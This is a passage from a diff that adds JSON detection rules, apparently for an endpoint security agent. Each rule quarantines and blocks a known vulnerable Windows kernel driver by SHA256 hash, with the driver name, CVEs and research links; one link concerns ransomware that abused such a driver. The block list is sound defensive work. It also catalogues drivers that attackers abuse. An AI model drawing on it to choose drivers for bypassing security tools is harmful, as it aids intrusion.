+  "comment": "Vulnerable Kernel Driver (aka CP2X72C.SYS) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3f4e3f34-478e-5d3e-96fe-8f9f4f4aa8d5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.977225Z",
+  "creation_date": "2026-03-23T11:45:29.977227Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.977232Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "047c1d5bb80826a6f66c182fc8b5f66f59609a71e734117f20a4f98b9866bde5",
+  "comment": "ASUS vulnerable VGA Kernel Mode Driver (aka EIO.sys) [https://www.loldrivers.io/drivers/f654ad84-c61d-477c-a0b2-d153b927dfcc/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3f52d9f7-efc2-5c5f-8196-3fde5fffca5a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.969523Z",
+  "creation_date": "2026-03-23T11:45:29.969525Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.969531Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cd3b38875c8b727f18cec382698624679d6413f02cf33d82a7c93b9595860b6d",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3f595eb6-3947-593d-84da-03cce1c9ebdb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.621985Z",
+  "creation_date": "2026-03-23T11:45:29.621987Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.621992Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e304e5d70d3f986f623fad7f4355d5218d8c1681e423b02db0946cbe1503eb76",
+  "comment": "ASUSTeK GPU vulnerable physmem driver (aka AsIO2_64.sys) [https://syscall.eu/blog/2020/03/30/asus_gio/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3f5d6109-ab6e-5bd2-b200-9507e431d9e7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.821018Z",
+  "creation_date": "2026-03-23T11:45:30.821023Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.821032Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3e758221506628b116e88c14e71be99940894663013df3cf1a9e0b6fb18852b9",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3f6a1a94-ee07-513b-b707-442307d5479b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.152649Z",
+  "creation_date": "2026-03-23T11:45:31.152651Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.152657Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3bfb73ff837b9963ab2f7110b5996a08c569655c50809fbeea2efd74b7a6b5e7",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3f6b720b-1c8e-5109-bf4d-255fb7abb4cf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.812277Z",
+  "creation_date": "2026-03-23T11:45:31.812285Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.812300Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6141922e84398c9f7ee3fd81240882650ce1074bcd5b577182ddafb066a2f71f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3f6bcb6d-177e-5e80-a010-b261c41da1c6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.150806Z",
+  "creation_date": "2026-03-23T11:45:31.150808Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.150814Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "378150056e2c300fcb7d133f7c22e7a27f434532ee0c39dd0c16b433f47383b2",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3f6c15cc-88e9-5d7c-b0d5-205e9e88450e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.495492Z",
+  "creation_date": "2026-03-23T11:45:31.495494Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.495500Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c77dc659c0fc9018f485b2ad49b94e503cbdb36287adf8b753c48b6d4c6e574b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3f72f9ac-7ba3-5868-b435-cdce16001c32",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.487326Z",
+  "creation_date": "2026-03-23T11:45:31.487328Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.487334Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d73b8a36374d9b20ec0b8c1157a51905b35efe1bca399ec9bb21f45b51174ef4",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3f8833ff-d0da-577a-98bf-a29ff1ff6404",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.487790Z",
+  "creation_date": "2026-03-23T11:45:31.487792Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.487798Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6d8b836c71c8667a139913f64a92befb05b7c5d033b317dc66d105f9fe4054ab",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3f91298e-302c-5c9f-ba6e-9950ab81b1ad",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.143706Z",
+  "creation_date": "2026-03-23T11:45:32.143708Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.143713Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "68fcb5cf6723dd195cf6d929cf9c6aaaca649f6956eb3bd63c2c1a8391c0b21f",
+  "comment": "Vulnerable Kernel Driver (aka DcProtect.sys) [https://www.loldrivers.io/drivers/7cee2ce8-7881-4a9a-bb18-61587c95f4a2/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3f976fa7-08ae-5375-a0ee-c88e57fc7711",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.459518Z",
+  "creation_date": "2026-03-23T11:45:30.459522Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.459531Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1cd75de5f54b799b60789696587b56a4a793cf60775b81f236f0e65189d863af",
+  "comment": "Vulnerable Kernel Driver (aka netfilter2.sys) [https://www.loldrivers.io/drivers/5ad8a3b6-6d20-4c95-8fa7-9a507167ba3c/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3fa5da34-a66b-5d37-b1d3-7df59c137fb6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.149591Z",
+  "creation_date": "2026-03-23T11:45:31.149595Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.149603Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "90856e306cd74eace432eae85219e1e0c9100a2f0a3e2f9eea2b0c6fd6c0e432",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3faa536d-dafc-59af-b476-996a2e0769cf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.820027Z",
+  "creation_date": "2026-03-23T11:45:31.820030Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.820039Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a71a5982e38a10f35e7206c08d8ecdfe90af3266eebc29921ab440116640b169",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3fab97d8-ba09-5c2e-9101-1427b5fc4117",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.982396Z",
+  "creation_date": "2026-03-23T11:45:29.982398Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.982404Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "36505921af5a09175395ebaea29c72b2a69a3a9204384a767a5be8a721f31b10",
+  "comment": "Vulnerable Kernel Driver (aka aswVmm.sys) [https://www.loldrivers.io/drivers/a845a05c-5357-4b78-9783-16b4d34b2cb0/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3faee5ce-940c-51b7-bf73-7a3c210becce",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.828854Z",
+  "creation_date": "2026-03-23T11:45:31.828856Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.828861Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0eee29a0c648ac6f60b3d6ad1a989d17a2a81c966fda78ccedee43b1a29273f3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3fb6a4fd-eea4-5e6e-a857-a24bc7cf5943",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.475959Z",
+  "creation_date": "2026-03-23T11:45:30.475962Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.475971Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "66f8bd2b29763acfbb7423f4c3c9c3af9f3ca4113bd580ab32f6e3ee4a4fc64e",
+  "comment": "Vulnerable Kernel Driver (aka libnicm.sys) [https://www.loldrivers.io/drivers/2b949a0d-939f-456a-a34f-4589d7712227/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3fb90333-a41d-5ba8-98fe-1ba812a2001d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.617097Z",
+  "creation_date": "2026-03-23T11:45:29.617099Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.617104Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6999caca67b37860abb5e6d95420d1b0d04966bc6674aac3bfde4e2394ad37fd",
+  "comment": "American Megatrends vulnerable BIOS flash tool (aka UCOREW64.SYS and amifldrv64.sys) [https://www.loldrivers.io/drivers/a338a9fc-9fe3-400c-9fe4-69bb7892602d/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3fb905eb-4b03-59b3-8e72-c2fe4ed4fc33",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.831966Z",
+  "creation_date": "2026-03-23T11:45:30.831969Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.831974Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a433e39aebe84fb5dcce175122236348841199310f361c14a0f7d940123260c3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3fbe5a7f-961b-5403-abf7-9fc90f6980ff",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.156791Z",
+  "creation_date": "2026-03-23T11:45:31.156793Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.156799Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8e0cec48e65c52d54b7c2977fb1147740fa82951f72e5a9a802eec88ad5a2431",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3ff41ceb-b7b8-5334-9f8f-e3e84dda7629",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.825853Z",
+  "creation_date": "2026-03-23T11:45:30.825855Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.825861Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "92f4ae495acc3196299fd44196386ca021e639ca29c21b5c2c03b7c24f207078",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3ff4a3d0-dcec-5bbf-abdd-38cdc8f3800d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.610211Z",
+  "creation_date": "2026-03-23T11:45:29.610213Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.610218Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e58bbf3251906ff722aa63415bf169618e78be85cb92c8263d3715c260491e90",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3ffbe2df-f941-570b-a9b9-83f9b8c6061c",
+  "test_maturity_current_count": 0,
